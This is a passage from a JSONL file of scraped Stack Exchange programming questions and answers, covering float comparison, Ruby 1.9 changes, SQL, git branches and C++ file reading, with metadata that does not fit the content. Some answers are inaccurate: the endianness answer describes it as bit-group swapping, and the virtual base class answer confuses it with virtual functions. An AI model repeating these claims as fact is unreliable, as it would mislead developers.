"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.403354"}
{"id": "hf_d6e86f8043d9", "question": "<p>What is the best method for comparing IEEE floats and doubles for equality?  I have heard of several methods, but I wanted to see what the community thought.</p>\n", "question_body": "", "answer": "The best approach I think is to compare\nULPs\n.\n```\n```\nbool is_nan(float f)\n{\n    return (*reinterpret_cast<unsigned __int32*>(&f) & 0x7f800000) == 0x7f800000 && (*reinterpret_cast<unsigned __int32*>(&f) & 0x007fffff) != 0;\n}\n\nbool is_finite(float f)\n{\n    return (*reinterpret_cast<unsigned __int32*>(&f) & 0x7f800000) != 0x7f800000;\n}\n\n// if this symbol is defined, NaNs are never equal to anything (as is normal in IEEE floating point)\n// if this symbol is not defined, NaNs are hugely different from regular numbers, but might be equal to each other\n#define UNEQUAL_NANS 1\n// if this symbol is defined, infinites are never equal to finite numbers (as they're unimaginably greater)\n// if this symbol is not defined, infinities are 1 ULP away from +/- FLT_MAX\n#define INFINITE_INFINITIES 1\n\n// test whether two IEEE floats are within a specified number of representable values of each other\n// This depends on the fact that IEEE floats are properly ordered when treated as signed magnitude integers\nbool equal_float(float lhs, float rhs, unsigned __int32 max_ulp_difference)\n{\n#ifdef UNEQUAL_NANS\n    if(is_nan(lhs) || is_nan(rhs))\n    {\n        return false;\n    }\n#endif\n#ifdef INFINITE_INFINITIES\n    if((is_finite(lhs) && !is_finite(rhs)) || (!is_finite(lhs) && is_finite(rhs)))\n    {\n        return false;\n    }\n#endif\n    signed __int32 left(*reinterpret_cast<signed __int32*>(&lhs));\n    // transform signed magnitude ints into 2s complement signed ints\n    if(left < 0)\n    {\n        left = 0x80000000 - left;\n    }\n    signed __int32 right(*reinterpret_cast<signed __int32*>(&rhs));\n    // transform signed magnitude ints into 2s complement signed ints\n    if(right < 0)\n    {\n        right = 0x80000000 - right;\n    }\n    if(static_cast<unsigned __int32>(std::abs(left - right)) <= max_ulp_difference)\n    {\n        return true;\n    }\n    return false;\n}\n```\n```\nA similar technique can be used for doubles.  The trick is to convert the floats so that they're ordered (as if integers) and then just see how different they are.\nI have no idea why this damn thing is screwing up my underscores.  Edit: Oh, perhaps that is just an artefact of the preview.  That's OK then.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.427712"}
{"id": "hf_ccbc9b541d41", "question": "<p>Which C#/.NET Dependency Injection frameworks are worth looking into?\nAnd what can you say about their complexity and speed.</p>\n", "question_body": "", "answer": "Ninject is great. It seems really fast, but I haven't done any comparisons. I know Nate, the author, did some comparisons between Ninject and other DI frameworks and is looking for more ways to improve the speed of Ninject.\nI've heard lots of people I respect say good things about StructureMap and CastleWindsor. Those, in my mind, are the big three to look at right now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.479470"}
{"id": "hf_674982140572", "question": "<p>I'm running Apache on Linux within VMWare.</p>\n<p>One of the PHP pages I'm requesting does a <code>sleep()</code>, and I find that if I attempt to request a second page whilst the first page is <code>sleep()'ing</code>, the second page hangs, waiting for the <code>sleep()</code> from the first page to finish.</p>\n<p><strong>Has anyone else seen this behaviour?</strong></p>\n<p>I know that <a href=\"http://php.net/\" rel=\"nofollow noreferrer\">PHP</a> isn't <strong>multi-threaded</strong>, but this seems like gross mishandling of the CPU.</p>\n<p><strong>Edit</strong>: I should've mentioned that the CPU usage doesn't spike. What I mean by CPU &quot;hogging&quot; is that no other PHP page seems able to use the CPU whilst the page is sleep()'ing.</p>\n", "question_body": "", "answer": "Are you actually seeing the CPU go to 100% or just that no other pages are being served? How many apache-instances are you runnning? Are they all stopping when you run sleep() in of of the threads?\nPHP's sleep() function essentially runs through an idle loop for n seconds. It doesn't release any memory, but it should not increase CPU load significantly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.548356"}
{"id": "hf_19601f763d50", "question": "<p>What is the difference between the following types of endianness?</p>\n\n<ul>\n<li>byte (8b) invariant big and little endianness</li>\n<li>half-word (16b) invariant big and little endianness</li>\n<li>word (32b) invariant big and little endianness</li>\n<li>double-word (64b) invariant big and little endianness</li>\n</ul>\n\n<p>Are there other types/variations?</p>\n", "question_body": "", "answer": "the basic concept is the ordering of bits:\n```\n```\n1010 0011\n```\n```\nin little-endian is the same as\n```\n```\n0011 1010\n```\n```\nin big-endian (and vice-versa).\nYou'll notice the order changes by grouping, not by individual bit.  I don't know of a system, for example, where\n```\n```\n1100 0101\n```\n```\nwould be the \"other-endian\" version of the first version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.632003"}
{"id": "hf_c10c7fdebd0c", "question": "<p>How do I go about specifying and using an ENUM in a Django model?</p>\n", "question_body": "", "answer": "From the\nDjango documentation\n:\n```\n```\nMAYBECHOICE = (\n    ('y', 'Yes'),\n    ('n', 'No'),\n    ('u', 'Unknown'),\n)\n```\n```\nAnd you define a charfield in your model :\n```\n```\nmarried = models.CharField(max_length=1, choices=MAYBECHOICE)\n```\n```\nYou can do the same with integer fields if you don't like to have letters\nin your db.\nIn that case, rewrite your choices:\n```\n```\nMAYBECHOICE = (\n    (0, 'Yes'),\n    (1, 'No'),\n    (2, 'Unknown'),\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.663383"}
{"id": "hf_6cc41eae5786", "question": "<p>I know Hostmonster allows Python. Has anyone successfully run Django on there? Any problems? </p>\n", "question_body": "", "answer": "Well, if it support Python, you might be able to run Django using a FastCGI setup, as described here:\nFastCGI Docs\n. If it supports mod_python (which I guess it's what you mean), then sure, you can install it using the steps listed here:\nModPython docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.697280"}
{"id": "hf_87c306125e82", "question": "<pre><code>#if SYMBOL\n  //code\n#endif\n</code></pre>\n\n<p>what values does C# predefine for use?</p>\n", "question_body": "", "answer": "Depends on what /define compiler options you use.\n```\nVisual Studio\n```\nputs the\n```\nDEBUG\n```\nsymbol in there for you via the project settings, but you could create any ones that you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.721911"}
{"id": "hf_887e357650c5", "question": "<p>SQL Experts,</p>\n\n<p>Is there an efficient way to group runs of data together using SQL?<br>\nOr is it going to be more efficient to process the data in code.  </p>\n\n<p>For example if I have the following data:</p>\n\n<pre><code>ID|Name\n01|Harry Johns\n02|Adam Taylor\n03|John Smith\n04|John Smith\n05|Bill Manning\n06|John Smith\n</code></pre>\n\n<p>I need to display this:</p>\n\n<pre><code>Harry Johns\nAdam Taylor\nJohn Smith (2)\nBill Manning\nJohn Smith\n</code></pre>\n\n<p>@Matt: Sorry I had trouble formatting the data using an embedded html table it worked in the preview but not in the final display.</p>\n", "question_body": "", "answer": "For this particular case, all you need to do is group by the name and ask for the count, like this:\n```\n```\nselect Name, count(*)\nfrom MyTable\ngroup by Name\n```\n```\nThat'll get you the count for each name as a second column.\nYou can get it all as one column by concatenating like this:\n```\n```\nselect Name + ' (' + cast(count(*) as varchar) + ')'\nfrom MyTable\ngroup by Name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.757403"}
{"id": "hf_9e213bcc0473", "question": "<p>I've spent a good amount of time coming up with solution to this problem, so in the spirit of <a href=\"https://stackoverflow.com/questions/21245/questions-vs-conveying-information\">this post</a>, I'm posting it here, since I think it might be useful to others. </p>\n\n<p>If anyone has a better script, or anything to add, please post it.</p>\n\n<p>Edit: Yes guys, I know how to do it in Management Studio - but I needed to be able to do it from within another application.</p>\n", "question_body": "", "answer": "Here's the script that I came up with. It handles Identity columns, default values, and primary keys. It does not handle foreign keys, indexes, triggers, or any other clever stuff. It works on SQLServer 2000, 2005 and 2008.\n```\n```\ndeclare @schema varchar(100), @table varchar(100)\nset @schema = 'dbo' -- set schema name here\nset @table = 'MyTable' -- set table name here\ndeclare @sql table(s varchar(1000), id int identity)\n\n-- create statement\ninsert into  @sql(s) values ('create table [' + @table + '] (')\n\n-- column list\ninsert into @sql(s)\nselect \n    '  ['+column_name+'] ' + \n    data_type + coalesce('('+cast(character_maximum_length as varchar)+')','') + ' ' +\n    case when exists ( \n        select id from syscolumns\n        where object_name(id)=@table\n        and name=column_name\n        and columnproperty(id,name,'IsIdentity') = 1 \n    ) then\n        'IDENTITY(' + \n        cast(ident_seed(@table) as varchar) + ',' + \n        cast(ident_incr(@table) as varchar) + ')'\n    else ''\n    end + ' ' +\n    ( case when IS_NULLABLE = 'No' then 'NOT ' else '' end ) + 'NULL ' + \n    coalesce('DEFAULT '+COLUMN_DEFAULT,'') + ','\n\n from INFORMATION_SCHEMA.COLUMNS where table_name = @table AND table_schema = @schema\n order by ordinal_position\n\n-- primary key\ndeclare @pkname varchar(100)\nselect @pkname = constraint_name from INFORMATION_SCHEMA.TABLE_CONSTRAINTS\nwhere table_name = @table and constraint_type='PRIMARY KEY'\n\nif ( @pkname is not null ) begin\n    insert into @sql(s) values('  PRIMARY KEY (')\n    insert into @sql(s)\n        select '   ['+COLUMN_NAME+'],' from INFORMATION_SCHEMA.KEY_COLUMN_USAGE\n        where constraint_name = @pkname\n        order by ordinal_position\n    -- remove trailing comma\n    update @sql set s=left(s,len(s)-1) where id=@@identity\n    insert into @sql(s) values ('  )')\nend\nelse begin\n    -- remove trailing comma\n    update @sql set s=left(s,len(s)-1) where id=@@identity\nend\n\n-- closing bracket\ninsert into @sql(s) values( ')' )\n\n-- result!\nselect s from @sql order by id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.794568"}
{"id": "hf_c0997ac4ed53", "question": "<p>I want to know what a \"<em>virtual base class</em>\" is and what it means.</p>\n\n<p>Let me show an example:</p>\n\n<pre><code>class Foo\n{\npublic:\n    void DoSomething() { /* ... */ }\n};\n\nclass Bar : public virtual Foo\n{\npublic:\n    void DoSpecific() { /* ... */ }\n};\n</code></pre>\n", "question_body": "", "answer": "It means a call to a virtual function will be forwarded to the \"right\" class.\nC++\nFAQ Lite\nFTW.\nIn short, it is often used in multiple-inheritance scenarios, where a \"diamond\" hierarchy is formed.  Virtual inheritance will then break the ambiguity created in the bottom class, when you call function in that class and the function needs to be resolved to either class D1 or D2 above that bottom class.  See the\nFAQ item\nfor a diagram and details.\nIt is also used in\nsister delegation\n, a powerful feature (though not for the faint of heart).  See\nthis\nFAQ.\nAlso see Item 40 in Effective C++ 3rd edition (43 in 2nd edition).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.818836"}
{"id": "hf_d27fcd211811", "question": "<p>I ended up writing a quick little script for this in Python, but I was wondering if there was a utility you could feed text into which would prepend each line with some text -- in my specific case, a timestamp.  Ideally, the use would be something like:</p>\n\n<pre><code>cat somefile.txt | prepend-timestamp\n</code></pre>\n\n<p>(Before you answer sed, I tried this:</p>\n\n<pre><code>cat somefile.txt | sed \"s/^/`date`/\"\n</code></pre>\n\n<p>But that only evaluates the date command once when sed is executed, so the same timestamp is incorrectly prepended to each line.)</p>\n", "question_body": "", "answer": "How about this?\n```\n```\ncat somefile.txt | perl -pne 'print scalar(localtime()), \" \";'\n```\n```\nJudging from your desire to get live timestamps, maybe you want to do live updating on a log file or something?  Maybe\n```\n```\ntail -f /path/to/log | perl -pne 'print scalar(localtime()), \" \";' > /path/to/log-with-timestamps\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.842387"}
{"id": "hf_9c9f53984eeb", "question": "<p>I'm not clear on the differences between the \"current\" version of Ruby (1.8) and the \"new\" version (1.9). Is there an \"easy\" or a \"simple\" explanation of the differences and why it is so different?</p>\n", "question_body": "", "answer": "Sam Ruby has a\ncool slideshow that outline the differences\n.\nIn the interest of bringing this information inline for easier reference, and in case the link goes dead in the abstract future, here's an overview of Sam's slides. The slideshow is less overwhelming to review, but having it all laid out in a list like this is also helpful.\nRuby 1.9 - Major Features\nPerformance\nThreads/Fibers\nEncoding/Unicode\ngems is (mostly) built-in now\nif statements do not introduce scope in Ruby.\nWhat's changed?\nSingle character strings.\nRuby 1.9\n```\n```\nirb(main):001:0> ?c\n=> \"c\"\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> ?c\n=> 99\n```\n```\nString index.\nRuby 1.9\n```\n```\nirb(main):001:0> \"cat\"[1]\n=> \"a\"\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> \"cat\"[1]\n=> 97\n```\n```\n{\"a\",\"b\"} No Longer Supported\nRuby 1.9\n```\n```\nirb(main):002:0> {1,2}\nSyntaxError: (irb):2: syntax error, unexpected ',', expecting tASSOC\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> {1,2}\n=> {1=>2}\n```\n```\nAction:\nConvert to {1 => 2}\n```\nArray.to_s\n```\nNow Contains Punctuation\nRuby 1.9\n```\n```\nirb(main):001:0> [1,2,3].to_s\n=> \"[1, 2, 3]\"\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> [1,2,3].to_s\n=> \"123\"\n```\n```\nAction:\nUse .join instead\nColon No Longer Valid In When Statements\nRuby 1.9\n```\n```\nirb(main):001:0> case 'a'; when /\\w/: puts 'word'; end\nSyntaxError: (irb):1: syntax error, unexpected ':',\nexpecting keyword_then or ',' or ';' or '\\n'\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> case 'a'; when /\\w/: puts 'word'; end\nword\n```\n```\nAction:\nUse semicolon, then, or newline\nBlock Variables Now Shadow Local Variables\nRuby 1.9\n```\n```\nirb(main):001:0> i=0; [1,2,3].each {|i|}; i\n=> 0\nirb(main):002:0> i=0; for i in [1,2,3]; end; i\n=> 3\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> i=0; [1,2,3].each {|i|}; i\n=> 3\n```\n```\n```\nHash.index\n```\nDeprecated\nRuby 1.9\n```\n```\nirb(main):001:0> {1=>2}.index(2)\n(irb):18: warning: Hash#index is deprecated; use Hash#key\n=> 1\nirb(main):002:0> {1=>2}.key(2)\n=> 1\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> {1=>2}.index(2)\n=> 1\n```\n```\nAction:\nUse Hash.key\n```\nFixnum.to_sym\n```\nNow Gone\nRuby 1.9\n```\n```\nirb(main):001:0> 5.to_sym\nNoMethodError: undefined method 'to_sym' for 5:Fixnum\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> 5.to_sym\n=> nil\n```\n```\n(Cont'd) Ruby 1.9\n```\n```\n# Find an argument value by name or index.\ndef [](index)\n  lookup(index.to_sym)\nend\n```\n```\nsvn.ruby-lang.org/repos/ruby/trunk/lib/rake.rb\nHash Keys Now Unordered\nRuby 1.9\n```\n```\nirb(main):001:0> {:a=>\"a\", :c=>\"c\", :b=>\"b\"}\n=> {:a=>\"a\", :c=>\"c\", :b=>\"b\"}\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> {:a=>\"a\", :c=>\"c\", :b=>\"b\"}\n=> {:a=>\"a\", :b=>\"b\", :c=>\"c\"}\n```\n```\nOrder is insertion order\nStricter Unicode Regular Expressions\nRuby 1.9\n```\n```\nirb(main):001:0> /\\x80/u\nSyntaxError: (irb):2: invalid multibyte escape: /\\x80/\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> /\\x80/u\n=> /\\x80/u\n```\n```\n```\ntr\n```\nand\n```\nRegexp\n```\nNow Understand Unicode\nRuby 1.9\n```\n```\nunicode(string).tr(CP1252_DIFFERENCES, UNICODE_EQUIVALENT).\n  gsub(INVALID_XML_CHAR, REPLACEMENT_CHAR).\n  gsub(XML_PREDEFINED) {|c| PREDEFINED[c.ord]}\n```\n```\n```\npack\n```\nand\n```\nunpack\n```\nRuby 1.8.6\n```\n```\ndef xchr(escape=true)\n  n = XChar::CP1252[self] || self\n  case n when *XChar::VALID\n    XChar::PREDEFINED[n] or \n      (n>128 ? n.chr : (escape ? \"&##{n};\" : [n].pack('U*')))\n  else\n    Builder::XChar::REPLACEMENT_CHAR\n  end\nend\nunpack('U*').map {|n| n.xchr(escape)}.join\n```\n```\n```\nBasicObject\n```\nMore Brutal Than\n```\nBlankSlate\n```\nRuby 1.9\n```\n```\nirb(main):001:0> class C < BasicObject; def f; Math::PI; end; end; C.new.f\nNameError: uninitialized constant C::Math\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> require 'blankslate'\n=> true\nirb(main):002:0> class C < BlankSlate; def f; Math::PI; end; end; C.new.f\n=> 3.14159265358979\n```\n```\nAction:\nUse ::Math::PI\nDelegation Changes\nRuby 1.9\n```\n```\nirb(main):002:0> class C < SimpleDelegator; end\n=> nil\nirb(main):003:0> C.new('').class\n=> String\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):002:0> class C < SimpleDelegator; end\n=> nil\nirb(main):003:0> C.new('').class\n=> C\nirb(main):004:0>\n```\n```\nDefect 17700\nUse of $KCODE Produces Warnings\nRuby 1.9\n```\n```\nirb(main):004:1> $KCODE = 'UTF8'\n(irb):4: warning: variable $KCODE is no longer effective; ignored\n=> \"UTF8\"\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> $KCODE = 'UTF8'\n=> \"UTF8\"\n```\n```\n```\ninstance_methods\n```\nNow an Array of Symbols\nRuby 1.9\n```\n```\nirb(main):001:0> {}.methods.sort.last\n=> :zip\n```\n```\nRuby 1.8.6\n```\n```\nirb(main):001:0> {}.methods.sort.last\n=> \"zip\"\n```\n```\nAction:\nReplace instance_methods.include? with method_defined?\nSource File Encoding\nBasic\n```\n```\n# coding: utf-8\n```\n```\nEmacs\n```\n```\n# -*- encoding: utf-8 -*-\n```\n```\nShebang\n```\n```\n#!/usr/local/rubybook/bin/ruby\n# encoding: utf-8\n```\n```\nReal Threading\nRace Conditions\nImplicit Ordering Assumptions\nTest Code\nWhat's New?\nAlternate Syntax for Symbol as Hash Keys\nRuby 1.9\n```\n```\n{a: b}\n\nredirect_to action: show\n```\n```\nRuby 1.8.6\n```\n```\n{:a => b}\n\nredirect_to :action => show\n```\n```\nBlock Local Variables\nRuby 1.9\n```\n```\n[1,2].each {|value; t| t=value*value}\n```\n```\nInject Methods\nRuby 1.9\n```\n```\n[1,2].inject(:+)\n```\n```\nRuby 1.8.6\n```\n```\n[1,2].inject {|a,b| a+b}\n```\n```\n```\nto_enum\n```\nRuby 1.9\n```\n```\nshort_enum = [1, 2, 3].to_enum\nlong_enum = ('a'..'z').to_enum\nloop do\n  puts \"#{short_enum.next} #{long_enum.next}\"\nend\n```\n```\nNo block? Enum!\nRuby 1.9\n```\n```\ne = [1,2,3].each\n```\n```\nLambda Shorthand\nRuby 1.9\n```\n```\np = -> a,b,c {a+b+c}\nputs p.(1,2,3)\nputs p[1,2,3]\n```\n```\nRuby 1.8.6\n```\n```\np = lambda {|a,b,c| a+b+c}\nputs p.call(1,2,3)\n```\n```\nComplex Numbers\nRuby 1.9\n```\n```\nComplex(3,4) == 3 + 4.im\n```\n```\nDecimal Is Still Not The Default\nRuby 1.9\n```\n```\nirb(main):001:0> 1.2-1.1\n=> 0.0999999999999999\n```\n```\nRegex “Properties”\nRuby 1.9\n```\n```\n/\\p{Space}/\n```\n```\nRuby 1.8.6\n```\n```\n/[:space:]/\n```\n```\nSplat in Middle\nRuby 1.9\n```\n```\ndef foo(first, *middle, last)\n\n(->a, *b, c {p a-c}).(*5.downto(1))\n```\n```\nFibers\nRuby 1.9\n```\n```\nf = Fiber.new do\n  a,b = 0,1\n  Fiber.yield a\n  Fiber.yield b\n  loop do\n    a,b = b,a+b\n    Fiber.yield b\n  end\nend\n10.times {puts f.resume}\n```\n```\nBreak Values\nRuby 1.9\n```\n```\nmatch =\n   while line = gets\n     next if line =~ /^#/\n     break line if line.find('ruby')\n   end\n```\n```\n“Nested” Methods\nRuby 1.9\n```\n```\ndef toggle\n  def toggle\n    \"subsequent times\"\n  end\n  \"first time\"\nend\n```\n```\nHTH!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.866850"}
{"id": "hf_2ec79b07b77c", "question": "<p>What is the difference between using angle brackets and quotes in an <code>include</code> directive?</p>\n<ul>\n<li><code>#include &lt;filename&gt;</code></li>\n<li><code>#include &quot;filename&quot;</code></li>\n</ul>\n", "question_body": "", "answer": "What differs is the locations in which the preprocessor searches for the file to be included.\n```\n#include <filename>\n```\nThe preprocessor searches in an implementation-defined manner, normally in directories pre-designated by the compiler/IDE. This method is normally used to include header files for the C standard library and other header files associated with the target platform.\n```\n#include \"filename\"\n```\nThe preprocessor also searches in an implementation-defined manner, but one that is normally used to include programmer-defined header files and typically includes same directory as the file containing the directive (unless an absolute path is given).\nFor GCC, a more complete description is available in the GCC\ndocumentation on search paths\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.924711"}
{"id": "hf_917b68098049", "question": "<p>I have a product which has been traditionally shipped as an MSI file.  It is deployed through some sort of SMS push to thousands of desktops by our various clients.  The software we use to create these installers is getting long in the tooth and we are looking to replace it.  We have already standardized on InstallAnywhere for most of our products as we support many operating systems.  Unfortunately InstallAnywhere cannot produce MSI files.  </p>\n\n<p>I am wondering if it is required that SMS use MSI files or if it can handle other installer types (.exe).  If not, are there any open source programmes for creating MSI files?  </p>\n", "question_body": "", "answer": "If you want to create\n```\nMSI\n```\nfiles, try\nWiX: Windows Installer XML (WiX) toolset\n.\nIt's an addon to Visual Studio 2005 and 2008, is open-source, and Microsoft developed.  You can use XML to specify and create MSI files.  There is a\nwealth\nof\nresources\navailable on it, and\n```\nWiX 3.0\n```\nis, although in beta, is very complete.\nAlso, note that you don't have to start from scratch, you can decompile an existing MSI using the WiX\n```\nDark\n```\nutility, modify the XML in any way you like, and then recompile it into an MSI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.948718"}
{"id": "hf_71191dded404", "question": "<p>Is there a simple way in .NET to quickly get the current protocol, host, and port? For example, if I'm on the following URL:</p>\n\n<p><code>http://www.mywebsite.com:80/pages/page1.aspx</code></p>\n\n<p>I need to return:</p>\n\n<p><code>http://www.mywebsite.com:80</code></p>\n\n<p>I know I can use <code>Request.Url.AbsoluteUri</code> to get the complete URL, and I know I can use <code>Request.Url.Authority</code> to get the host and port, but I'm not sure of the best way to get the protocol without parsing out the URL string.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Request.Url will return you the\nUri\nof the request.  Once you have that, you can retrieve pretty much anything you want.  To get the protocol, call the\nScheme\nproperty.\nSample:\n```\n```\nUri url = Request.Url;\nstring protocol = url.Scheme;\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.973285"}
{"id": "hf_d8d3bcaaf3aa", "question": "<p>The following <strong>C++</strong> code uses a <strong>ifstream</strong> object to read integers from a text file (which has one number per line) until it hits <strong>EOF</strong>. Why does it read the integer on the last line twice? How to fix this?</p>\n\n<p><strong>Code:</strong></p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;fstream&gt;\nusing namespace std;\n\nint main()\n{\n    ifstream iFile(\"input.txt\");    // input.txt has integers, one per line\n\n    while (!iFile.eof())\n    {\n        int x;\n        iFile &gt;&gt; x;\n        cerr &lt;&lt; x &lt;&lt; endl;\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p><strong>input.txt</strong>:</p>\n\n<pre><code>10  \n20  \n30\n</code></pre>\n\n<p><strong>Output</strong>:</p>\n\n<pre><code>10  \n20  \n30  \n30\n</code></pre>\n\n<p><strong>Note</strong>: I've skipped all error checking code to keep the code snippet small. The above behaviour is seen on Windows (Visual C++), cygwin (gcc) and Linux (gcc).</p>\n", "question_body": "", "answer": "Just follow closely the chain of events.\nGrab 10\nGrab 20\nGrab 30\nGrab EOF\nLook at the second-to-last iteration.  You grabbed 30, then carried on to check for EOF.  You haven't reached EOF because the EOF mark hasn't been read yet (\"binarically\" speaking, its conceptual location is just after the 30 line).  Therefore you carry on to the next iteration.  x is still 30 from previous iteration.  Now you read from the stream and you get EOF.  x remains 30 and the ios::eofbit is raised.  You output to stderr x (which is 30, just like in the previous iteration).  Next you check for EOF in the loop condition, and this time you're out of the loop.\nTry this:\n```\n```\nwhile (true) {\n    int x;\n    iFile >> x;\n    if( iFile.eof() ) break;\n    cerr << x << endl;\n}\n```\n```\nBy the way, there is another bug in your code.  Did you ever try to run it on an empty file?  The behaviour you get is for the exact same reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:55.997157"}
{"id": "hf_7c399020b07b", "question": "<p>There may be more than one way to ask this question, so here's a desciption of the problem. I was working on master and committed some stuff and then decided I wanted to put that work on hold. I backed up a few commits and then branched from before I started my crap work. Practically this works fine, I just now have a different branch as my main development branch. I'm wondering how I could change things around so I'm working on master again but it doesn't have my junk work and said work is on a different branch.</p>\n\n<p>Some ways this could be asked/solved:\nHow do I rename my master branch to something else and then rename something else to master?\nHow do I back up master and then cause all commits I've backed up past to be on a different branch?</p>\n\n<p>Thanks for all the (quick) answers! They're all good.</p>\n", "question_body": "", "answer": "This is relatively easy:\n```\n```\ngit checkout -b fake_master master # fake_master now points to the same commit as master\ngit branch -D master               # get rid of incorrect master\ngit checkout -b master real_master # master now points to your actual master\ngit checkout master                # optional -- switch on to your master branch\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.155493"}
{"id": "hf_b36f52fa9c2c", "question": "<p>I'm trying to reteach myself some long forgotten math skills. This is part of a much larger project to effectively \"teach myself software development\" from the ground up (the details are <a href=\"http://www.appscanadian.ca/archives/cs-101-introduction-to-computer-science/\" rel=\"noreferrer\">here</a> if you're interested in helping out).  </p>\n\n<p>My biggest stumbling block so far has been math - how can I learn about algorithms and asymptotic notation without it??</p>\n\n<p>What I'm looking for is some sort of \"dependency tree\" showing what I need to know. Is calculus required before discrete? What do I need to know before calculus (read: components to the general \"pre-calculus\" topic)? What can I cut out to fast track the project (\"what can I go back for later\")?</p>\n\n<p>Thank!</p>\n", "question_body": "", "answer": "Here's how my school did it:\n```\n```\nbase:\n    algebra\n    trigonometry\n    analytic geometry\n\ntrack 1                       track 2               track 3\n    calc 1                       linear algebra        statistics\n    calc 2                       discrete math 1\n    calc 3 (multivariable)       discrete math 2\n    differential equations\n```\n```\nThe base courses were a prerequisite for everything, the tracks were independent and taken in order.\nSo to answer your specific question, only algebra is needed for discrete.  If you want to fast track, do one of these:\n```\n```\nalgebra, discrete\nalgebra, linear algebra, discrete (if you want to cover matrices first)\n```\n```\nHTH...  It about killed me when I returned to school and took these, but I'm a much better programmer for it.  Good Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": 